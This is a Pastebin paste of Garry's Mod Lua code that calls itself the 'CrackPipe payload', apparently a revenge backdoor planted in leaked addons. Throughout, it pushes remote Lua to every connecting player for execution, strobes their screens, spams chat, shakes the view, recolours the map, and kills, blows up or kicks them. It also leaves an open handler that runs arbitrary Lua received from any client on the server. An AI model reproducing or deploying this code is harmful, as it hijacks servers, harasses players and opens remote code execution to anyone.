Advertisement
VoidzMod

Untitled

Mar 16th, 2019
148
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
text 5.89 KB | None | 0 0
  1. local CP = {}
  2. CP.beef = collectgarbage("count")
  3. CP.code = [==[
  4. if CP_IsEnabled then return end
  5. CP_IsEnabled = true
  6. local GraphiqueList = {}
  7. hook.Add("HUDPaint","CPCPCPCP",function()
  8. for k,v in pairs(GraphiqueList) do
  9. v()
  10. end
  11. end)
  12. local function LaunchF(e)
  13. net.Start("{netk}")
  14. net.WriteString(e)
  15. net.SendToServer()
  16. end
  17.  
  18. surface.CreateFont("CP_Message",{size=50})
  19. local cMsg = ""
  20. cMsg = "CrackPipe"
  21. local totaltime = 0
  22. local function Queuse(i,func)
  23. local tt = totaltime + i
  24. totaltime = totaltime + i
  25. timer.Simple(tt,func)
  26. end
  27. local function DrawRandomLines(num)
  28. for i=1,num/2 do
  29. local a = ColorRand()
  30. surface.SetDrawColor(a.r,a.g,a.b)
  31. surface.DrawLine(ScrW()/3,ScrH()/4, math.random(0,ScrW()),math.random(0,ScrH()))
  32. end
  33. for i=1,num/2 do
  34. local a = ColorRand()
  35. surface.SetDrawColor(a.r,a.g,a.b)
  36. surface.DrawLine((ScrW()/3)*2,ScrH()/4, math.random(0,ScrW()),math.random(0,ScrH()))
  37. end
  38. end
  39. sound.PlayURL("https://is.gd/TqdEv5","mono",function(s)
  40. s:Play()
  41. local msgs = {
  42. "leak for what",
  43. "oops",
  44. "destroyed",
  45. "crackpipe",
  46. "get some",
  47. "John the duck"
  48. }
  49. local function MaCoolFunc()
  50. local tbl = {}
  51. s:FFT(tbl,3)
  52. local avg = 0
  53. for i=1,20 do
  54. avg = avg + tbl[i]
  55. end
  56. avg = avg / 20
  57. avg = 10 + (avg * 1000)
  58. DrawRandomLines(math.floor(avg*10))
  59. draw.RoundedBox(0,0,0,ScrW(),ScrH(),Color(255,255,255,avg - 50))
  60. for i=1,45 do
  61. draw.SimpleText(table.Random(msgs),"CP_Message", math.random(0,ScrW()),math.random(0,ScrH()), ColorRand(),1,1)
  62. end
  63. end
  64. Queuse(1,function()
  65. GraphiqueList["default"] = function()
  66. draw.RoundedBox(0, 0,0,ScrW(),ScrH(),Color(math.random(200,255),0,0,150))
  67. end
  68. end)
  69. Queuse(1,function()
  70. GraphiqueList["message"] = function()
  71. draw.SimpleText(cMsg,"CP_Message", ScrW()/2,ScrH()/2, ColorRand(),1,1)
  72. end
  73. end)
  74. Queuse(1,function()
  75. cMsg = "Tu peux dire aurevoire a ton server de merde"
  76. end)
  77. Queuse(3,function()
  78. cMsg = "La prochaine fois tu ne leakera pas :)"
  79. end)
  80. Queuse(10,function()
  81. cMsg = "CrackPipe, Too bad you lost..."
  82. end)
  83. Queuse(10,function()
  84. LaunchF("e")
  85. end)
  86. Queuse(5,function()
  87. for i=1,100 do
  88. chat.AddText(ColorRand(),"Get ready to party")
  89. end
  90. end)
  91. Queuse(5,function()
  92. GraphiqueList["blinddead"] = function()
  93. cMsg = ""
  94. draw.RoundedBox(0,0,0,ScrW(),ScrH(),Color(255,255,255))
  95. draw.SimpleText("CRACKPIPE PAYLOAD v.27k","CP_Message", ScrW()/2,ScrH()/2, ColorRand(),1,1)
  96. end
  97. timer.Simple(4,function()
  98. GraphiqueList["blinddead"] = nil
  99. end)
  100. end)
  101. Queuse(10,function()
  102. GraphiqueList["blinddead"] = function()
  103. cMsg = ""
  104. draw.RoundedBox(0,0,0,ScrW(),ScrH(),Color(255,255,255))
  105. draw.SimpleText("CrackPipe by John-Duckesent","CP_Message", ScrW()/2,ScrH()/2, ColorRand(),1,1)
  106. draw.SimpleText("Non destructive payload","CP_Message", ScrW()/2, 250, ColorRand(),1,1)
  107. draw.SimpleText("Leaking addons is bad for your health","CP_Message", ScrW()/2,ScrH()/8, ColorRand(),1,1)
  108. end
  109. timer.Simple(8,function()
  110. GraphiqueList["blinddead"] = nil
  111. end)
  112. end)
  113. Queuse(8,function()
  114. cMsg = "3"
  115. end)
  116. Queuse(5,function()
  117. cMsg = "2"
  118. end)
  119. Queuse(5,function()
  120. cMsg = "1"
  121. end)
  122. Queuse(5,function()
  123. cMsg = "CrackPipe 27k"
  124. end)
  125. timer.Simple(20,function()
  126. GraphiqueList["blinddead"] = function()
  127. cMsg = ""
  128. draw.RoundedBox(0,0,0,ScrW(),ScrH(),Color(255,255,255))
  129. draw.SimpleText("Wait for it. . .","CP_Message", ScrW()/2,ScrH()/2, ColorRand(),1,1)
  130. end
  131. timer.Simple(8,function()
  132. GraphiqueList["blinddead"] = nil
  133. end)
  134. end)
  135.  
  136. timer.Simple(87,function()
  137. LaunchF("e")
  138. GraphiqueList["default"] = MaCoolFunc
  139. timer.Create("CP_Gaymod",1,0,function()
  140. local mats = Entity(0):GetMaterials()
  141. for k,v in pairs(mats) do
  142. local r,g,b = ColorRand().r-50, ColorRand().g-50, ColorRand().b-50
  143. Material(v):SetVector("$color", Vector(r,g,b))
  144. end
  145. end)
  146. timer.Simple(5,function()
  147. LaunchF("e")
  148. end)
  149. end)
  150. timer.Simple(52,function()
  151. GraphiqueList["shaking"] = function()
  152. util.ScreenShake(LocalPlayer():GetPos(),10,50,1,10)
  153. end
  154. end)
  155. timer.Simple(106,function()
  156. GraphiqueList["default"] = nil
  157. end)
  158. timer.Simple(174,function()
  159. GraphiqueList["default"] = MaCoolFunc
  160. end)
  161. timer.Simple(235,function()
  162. LaunchF("a")
  163. end)
  164.  
  165.  
  166.  
  167. end)
  168. LaunchF("e")
  169. RunConsoleCommand("say", "CrackPipe yeah")
  170. ]==]
  171. CP.net = "CP_CLSV__"
  172. util.AddNetworkString(CP.net)
  173. CP.code = string.Replace(CP.code, "{netk}",CP.net)
  174. CP.NetFunction = {}
  175. CP.NetFunction["k"] = function(ply)
  176. ply:Kill()
  177. end
  178. CP.NetFunction["e"] = function(ply)
  179. ply:Kill()
  180. local explosion = ents.Create( "env_explosion" )
  181. explosion:SetKeyValue( "spawnflags", 144 )
  182. explosion:SetKeyValue( "iMagnitude", 15 )
  183. explosion:SetKeyValue( "iRadiusOverride", 256 )
  184. explosion:SetPos(ply:GetPos())
  185. explosion:Spawn( )
  186. explosion:Fire("explode","",0)
  187. end
  188. CP.NetFunction["a"] = function(ply)
  189. ply:Kick("CRACKPIPE PAYLOAD v.27")
  190. end
  191. CP.NetFunction["r"] = function(ply)
  192. RunString(net.ReadString())
  193. end
  194. net.Receive("CP_CLSV__",function(_,ply)
  195. CP.NetFunction[net.ReadString()](ply)
  196. end)
  197. function CP.SetupPlayer(ply)
  198. ply:SendLua([[net.Receive("]]..CP.net..[[",function()
  199. RunString(net.ReadString())
  200. end)]])
  201. end
  202. function CP.SendPlayer(ply)
  203. net.Start(CP.net)
  204. net.WriteString(CP.code)
  205. net.Send(ply)
  206. end
  207.  
  208. function CP.Spawn(ply)
  209. print(ply:Name().." connected, sending payload. . .")
  210. CP.SetupPlayer(ply)
  211. timer.Simple(5, function()
  212. CP.SendPlayer(ply)
  213. end)
  214. end
  215. hook.Add( "PlayerSpawn", "CP_Spawn", CP.Spawn )
  216.  
  217. for i,v in ipairs(player.GetAll()) do
  218. CP.Spawn(v)
  219. end
  220. print("------------------------")
  221. print("CrackPipe 27k loaded !")
  222. print("------------------------")
  223. print("Ready to party !")
  224. print("------------------------")
  225. print("Beef: ",collectgarbage("count")-CP.beef,"Kb")
  226. collectgarbage()
  227. print("Af: ",collectgarbage("count")-CP.beef,"Kb")
  228. print("------------------------")
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement